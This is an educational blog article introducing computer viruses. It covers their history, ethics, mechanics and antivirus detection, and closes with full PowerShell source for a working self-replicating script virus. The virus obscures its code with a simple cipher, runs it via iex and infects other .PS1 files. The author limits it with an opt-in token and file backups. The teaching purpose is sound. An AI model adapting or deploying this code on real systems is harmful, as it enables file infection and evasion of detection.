Introduction to Computer Viruses: Example in Windows PowerShell

by Hristo (Izo) G., hristogueorguiev.com

The year is 1995, as I load X-COM: Terror from the Deep on my 486DX and being playing I notice strange behaviors in the game.  My save file seems to have an enormous amounts of certain resources without me having cracked it, some of my team members are missing or have garbled names.  As I continue playing things only get stranger: maps are loading the wrong tiles in places and the game crashes randomly.  Naturally, I assume there is something wrong with my newish 210 MB hard drive, so I run some tests and finally run an anti-virus.  There it is.  I have been infected by (at the time) quite infamous JackRipper virus.  Mildly annoyed and somewhat excited to have ran across this celebrity virus that is at that of the local variety (created in my native Bulgaria), I quickly infect a floppy disk with it for my collection, then proceed to format my hard drive and restore it from back up and move on with my day.

Nothing to see here folks - just a regular Tuesday in 1990s post-Communist Eastern Europe.

In this article I going to attempt to give you a well-rounded introduction to the fascinating topic of computer viruses.

What is a Computer virus?

Let us delve in to the question of what a computer virus is.  It should come as no surprise that computer viruses bear some resemblance in behavior to their namesake, biological viruses.  That being the mechanism by which they replicate themselves, in the same way a biological virus uses a cell to replicate its DNA code and infect other cells, a computer virus uses its target to execute its own code to find and infect other targets.  This replication and target infection behavior is the base definition of a computer virus.  We will examine the targets and mechanisms computer viruses use in an upcoming section, for now let us take a brief look at origins of the idea.

The mathematician and early computer scientist John Von Neumann was discussing the idea of self-replicating automata as early as the 1940s and published a paper, Theory of Self-Reproducing Automata in 1966.  In it he discusses the possibility of computer code to self-replicate.

In 1971, the Creeper program was created by Bob Thomas.  It is generally regarded as the first computer virus.  It was an exercise in security testing to see if it was indeed possible to infect other targets.  From there on computer viruses were a practical reality and not just a thought experiment.  Countless variations of the idea would come to be implemented.

The Ethics of Computer Virus Creation

Computer viruses are a fascinating class of programs.  They pose a challenge, a puzzle to the creators.  This puzzle requires equal parts creativity and in-depth computer system knowledge to be solved, since viruses usually have to operate at fairly low level in the system, benefit from being optimized for speed and size and have to use clever ruses to stay hidden.

Pair this up with the amazing way that some of them catch fire in the wild, and they almost have a life of their own.  It is not hard to see how so many young programming enthusiasts are seduced by the allure of computer virus.  Or, you know, you get to brag to your friends.

While all this seems like fun and games, the practical reality is that an illegal cottage industry has arisen.  Who's participants have the sole aim of acquiring money no matter the harm being perpetrated by their creations.  Even if one creates a computer virus which has no harmful intent, it shouldn't be hard to see the many ways things can go very wrong.

It is certainly more than possible for a computer virus to cause harm as a side effect due to its nature of having to operate around the system.  So then it is prudent to remember that the data that could be destroyed is not some sequence of random files.  It could be someone's family photos that are irreplaceable because they lack backup, a term paper, an important contract, the art someone created, etc.  Things that in this day age are stored more and more in digital format only, things that not only carry great economic value, but often much more.

So before you go off releasing your mega-worm in to the wild, think of how you would feel if it was your precious data being permanently wiped, or worse, Grandma Ethel's your sweet nonna in Florida.

O.K., this has gone on for long enough lets move on.  All I'm really saying is don't be a dick!

Basic Mechanics of Computer Viruses

Computer viruses are in their essence a piece of self-replicating code.  In order for them to replicate, this code needs to be somehow executed.

Now here I could go on and make the argument how memes are the most successful computer virus variant to date, taking advantage of the weakest security point of any computer system, the human element to spread.  But that's a whole another article.

So then, what are some targets for computer viruses?  Executable files or ones that carry a some sort of scripting functionality within make a great target.  Another possibility is the Master Boot Record (MBR) on media drives, as the virus can execute prior to just about everything else except the system BIOS.

But we are not limited to just those, even a plain graphic image file, like a JPEG for example, can become a target if a vulnerability is discovered in a popular piece of software that is commonly used to interpret that particular file type.  As was the case years ago with a version of Internet Explorer that allowed code to be executed on the system due to a buffer overflow that could be caused by a malicious JPEG file.

What a virus does is to copy its own code inside the target and then redirect the target execution flow to itself by inserting or changing a pre-existing entry point.  As a matter of fact, some of the most primitive viruses did just this overwriting the target file, there by destroying any of its original functionality.  You can see how that would not be the most effective form of infection, as it would make detection rather easy, so it's a much better approach to return to the target's normal execution flow after performing the intended virus action.

Those actions generally being the discovery and infection of new targets, and possibly the execution of some virus payload at a specific time, whatever that maybe.

A particular virus can infect one type of target or have a whole arsenal of infection vectors attacking a range of target types, as such the particular target selection strategy is only limited by the author's imagination.  Similarly, the payload could be something as simple as displaying a silly message at a specific date or number of executions, shaking the screen image like an earthquake, using the video card vertical and horizontal shift registers, like one of my favorite viruses written by a friend of mine did or... it could be something much more malicious as some asshol... ahem, virus creators chose to do.

A Practical Example of a Computer Virus in PowerShell

With the broad general theory covered, let us take a look how all this unfolds in praxis.

The example here will be programmed in the Windows PowerShell scripting language.  Why?, you ask:

  1. It made for super easy and quick development on my side.
  2. Arguably, it should be easier to understand than an example involving the complexity of infecting a modern day executable.
  3. There are privilege security settings implemented in MS PowerShell that should make it much more unlikely that this code would have any practical chance of spreading in the wild, if someone chose to misuse it.
  4. And most importantly, in all honesty, it just seemed cool as shit to do something like it in PowerShell.

O.K. then, so what are our operational mechanics?

The Initial Infection Vector Generator

Our first scrip (PS_VIR_EX1.PS1) is used to generate an initial infected script file, generated.PS1, which contains, well nothing but the actual virus itself.

First, we declare some storage variables that carry the actual virus source code.

The $VirusCodeSegmentString variable stores the main virus code segment in string form.  We will discuss its functionality in an upcoming section on the virus mechanics.

The $ObscuredVCS variable stores an obscured version of the virus code segment that is generated by the PSV_code() function.  The idea being that we do not want our infection routines in plain view in the infected files.  This is about as primitive a way to stealth ourselves as possible, and not a very effective one.  It does serve the purpose of illustrating simple example of what viruses might do to attempt avoiding detection.

The PSV_code() function encodes the virus source string with what I'm only very tentatively calling a simple cipher.  We take the numeric value of each letter in the string subtract that from the integer constant 300, then we cast it back to a character type and concatenate it to our new string.  This new string having been shifted over does not appear as legible source code.  It can however be very easily converted back to allow its execution by the PowerScript interpreter.

The $VirusDecoderSegmentString variable stores the source code for our decoder function.  This code will have to run first in order to convert our obscured virus code segment back to legible source code that can be executed.

The $EntryPointCodeSegmentString variable stores the code that will be added to the top of the infected script files so that we can redirect the execution flow to our decoder segment and, via that, the virus code segment where the virus functionality takes place.

Next, we simply output those string variables in the appropriate order in to a new script file.

The entry point is first in the script file, followed by the decoder segment, and then the obscured virus code segment.  This along with some labels and filler code, constitutes our initial infection vector file named: generated.PS1

The Initial Infection Vector

Upon executing the initial infection vector file, generated.PS1, it looks for other *.PS1 files in the local directory, and it then infects the first script file it encounters that has not already been infected.

We check if the file has already been infected by looking for our virus signature at the top of the file.

One more step before the actual infection is looking if the script file has another specific string token at the top, this being just a safety measure to ensure our virus example infects only files we have allowed it to infect.

If our requirements are met, the InfectFile() function is called, the the current file, which is the source of the virus and the target file are passed as parameters.

The InfectFile() function in turn renames the target file name.PS1 to name.old backing up the original file.  This isn't so much so a safety measure, but it helps with being able to quickly restore the test infection targets to original state when testing.  Although if you are going to create computer viruses, it's probably a good idea to add overt and redundant safety traps in your code.  It's the responsible thing to do.

We then generate a new file with the original name name.PS1 (whatever the selected target file name is).  The entry point redirection code is read from the source file and output in to our new file.

Afterwords, we copy over the original functionality of the target file to our new file, name.old to name.PS1.  This works since we have backed up the original file, not something most viruses are likely to do, sadly.  Normally the original file contents would be stored in memory temporarily to insert in to the new file then disposed.

Lastly, we copy over the virus decoder segment and the coded virus body over to the new file.

Once completed, control is returned to whatever code was originally in the currently executing infected script file.  In the case of generated.PS1, there is no other code except for a text message, since it is the original infection vector.  When any other infected script file is executed, the program flow will be exactly the same, behaving like generated.PS1, but also executing the original program contained within the target file.

This process will repeat every time any infected file is executed, creating more infected files, provided there is suitable targets.

And ta-da, we have a virus - a very basic one, but a full-fledged virus nevertheless.  But wait, there is more!

An Overview of Some More Advanced Topics

Since we are discussing viruses, we also have to talk anti-virus software and virus detection.  Other then the ever-changing landscape of computer hardware and operating systems, what really drives the evolution of computer viruses is the arms race between the virus creators and the anti-virus developers.

Anti-virus software gets better at detecting viruses, in turn viruses need techniques to hide from the them, round and round we go with both sides evolving at a rapid pace.  In the words of Fat Bastard from the film Austin Powers, "... it's a vicious cycle..."

At the simplest level, anti-virus software attempts to detect infected targets by looking for specific virus signatures.  In order for that technique to work, the signature for a specific virus has to be in the anti-virus software database.  If a signature for a specific virus is not yet created and added to the database, the anti-virus software would not be able to detect the infection.

With that in mind, some more advanced viruses employ polymorphism as a strategy to defeat signature based detection.  Polymorphism, as the name suggests, is the virus' ability to take on multiple forms, changing it its bytecode in ways that make it hard or impossible to create a static signature for detection.  This can be achieved using ciphers, self-modifying code, and/or other techniques such as modular design, staged loading, etc.

Because of this, modern anti-virus software has to use more advanced strategies like heuristics based detection to identify infected targets.  Heuristic virus detection doesn't simply relay on virus signatures.  Instead, it looks for certain target characteristics and behaviors that in combinations can identify threats.

And so the cycle goes on.

I hope that this introduction has proven helpful to some of you in understating this interesting topic, or at least entertaining.

Following is the actual source code for our virus example.  It can also be downloaded from my blog at the URL in the title of this article.

Enjoy your journey in to this fascination field, and use this knowledge to make people's lives better, not create more headaches for them.  Computer systems can be pain in the ass without any extra help, after all.

Until next time, Izo

# Source code: PS_VIR_EX1.PS1
#
# Initial infection vector script
# This is an example script file, this source code in a companion to an 
# acticle that serves as an introduction to computer viruses. 

function PSV_code($StrToCode){
	$codedtext = ''

	foreach ($char in [char[]]$StrToCode){
		$intchar =[int]$char 
		$intchar = 300 - $intchar
		$codedtext += $intchar
	}

	$codedtext
}

$VirusCodeSegmentString = "{echo 'PS_Vir_Ex1: Executing code segment.'; 

function InfectFile(`$Source, `$Target, `$LinesFromHead, `$LinesFromTail){
	`$TargetNewName = (`$Target+'.old');
	Rename-Item -Path `$Target -NewName `$TargetNewName; 
	`$Content = 	Get-Content `$Source -Head `$LinesFromHead;
	`$Content | Out-File `$Target;
	type `$TargetNewName | Out-File `$Target -append;

	`$Content = 	Get-Content `$Source -Tail `$LinesFromTail;
	`$Content | Out-File `$Target -append;
}

`$InfectedToken = 'echo `"PS_Vir_Ex1: Redirecting entry point.`";`$CurrentFilePath =  `$MyInvocation.MyCommand.Name; `$VirusCodeBody = Get-Content $CurrentFilePath -Tail 3';

`$AcceptInfectionToken = '#PS_Vir_Ex1_Accept_Infection';

#echo `$InfectedToken;

#echo `$AcceptInfectionToken;

echo 'PS_Vir_Ex1: Looking for files to infect.';

`$Filelist = dir *.PS1 -name;
foreach(`$Filename in `$Filelist){
	`$ScriptStatusToken = Get-Content `$Filename -Head 1;
	if(`$ScriptStatusToken -eq `$InfectedToken){ `$Msg = 'PS_Vir_Ex1: '+`$Filename+' file already infected'; echo `$Msg; }
	elseif(`$ScriptStatusToken -eq `$AcceptInfectionToken){`$Msg = 'PS_Vir_Ex1: '+`$Filename+' file ready for infection!'; echo `$Msg; InfectFile `$CurrentFilePath `$Filename 3 4; `$Msg = 'PS_Vir_Ex1: '+`$Filename+' file has been infected'; echo `$Msg; break; }
}

echo 'PS_Vir_Ex1: Code segment executed!';}"

$ObscuredVCS = PSV_code $VirusCodeSegmentString
echo $ObscuredVCS

$VirusDecoderSegmentString = '{echo "PS_Vir_Ex1: Decoding code segment.";$codedtext = Get-Content $CurrentFilePath -Tail 1; for($i=1;$i -lt $codedtext.length+1; $i+=3){ $letter = ([char[]]$codedtext)[$i]; $letter += ([char[]]$codedtext)[$i+1]; $letter += ([char[]]$codedtext)[$i+2]; $letter = [char](300 - [int]$letter); $decodedtext += $letter} iex "&$decodedtext"}'

#iex $VirusDecoderSegmentString

$EntryPointCodeSegmentString = 
'echo "PS_Vir_Ex1: Redirecting entry point.";$CurrentFilePath =  $MyInvocation.MyCommand.Name; $VirusCodeBody = Get-Content $CurrentFilePath -Tail 3
$EntryPointRedirect= $VirusCodeBody[0] 
iex "&$EntryPointRedirect"'

$EntryPointCodeSegmentString | Out-File ".\generated.PS1"

"echo 'AFTER EP EXECUTION'" | Out-File ".\generated.PS1" -append

'$VirusDecoderSegment =' | Out-File ".\generated.PS1" -append

$VirusDecoderSegmentString |  Out-File ".\generated.PS1" -append

'$VirusCodeSegment = ""' | Out-File ".\generated.PS1" -append

'#'+$ObscuredVCS |  Out-File ".\generated.PS1" -append

Code: PS_VIR_EX1.PS1

Return to $2600 Index